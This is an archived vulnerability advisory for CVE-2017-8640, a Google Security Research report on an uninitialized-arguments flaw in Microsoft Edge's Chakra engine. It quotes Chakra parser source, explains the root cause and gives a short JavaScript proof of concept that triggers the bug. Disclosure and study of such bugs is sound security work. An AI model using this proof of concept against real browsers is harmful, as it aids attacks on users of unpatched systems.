Exploit the possiblities

Microsoft Edge Chakra Uninitialized Arguments

Microsoft Edge Chakra Uninitialized Arguments
Posted Aug 17, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an uninitialized arguments vulnerability.

tags | exploit
advisories | CVE-2017-8640
MD5 | 254b2f18f283725c45ea772937348381

Microsoft Edge Chakra Uninitialized Arguments

Change Mirror Download
 Microsoft Edge: Chakra: Uninitialized arguments 

CVE-2017-8640


Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
tokens declarationType, charcount_t ichMin,
BOOL fAllowIn/* = TRUE*/,
BOOL* pfForInOk/* = nullptr*/,
BOOL singleDefOnly/* = FALSE*/,
BOOL allowInit/* = TRUE*/,
BOOL isTopVarParse/* = TRUE*/,
BOOL isFor/* = FALSE*/,
BOOL* nativeForOk /*= nullptr*/)
{
...
if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
{
// This var declaration may change the way an 'arguments' identifier in the function is resolved
if (declarationType == tkVAR)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
}
else
{
if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
{
// Only override arguments if we are at the function block level.
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
}
}
}
...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
function f() {
({a = () => {
let arguments;
}} = 1);

arguments.x;
}

f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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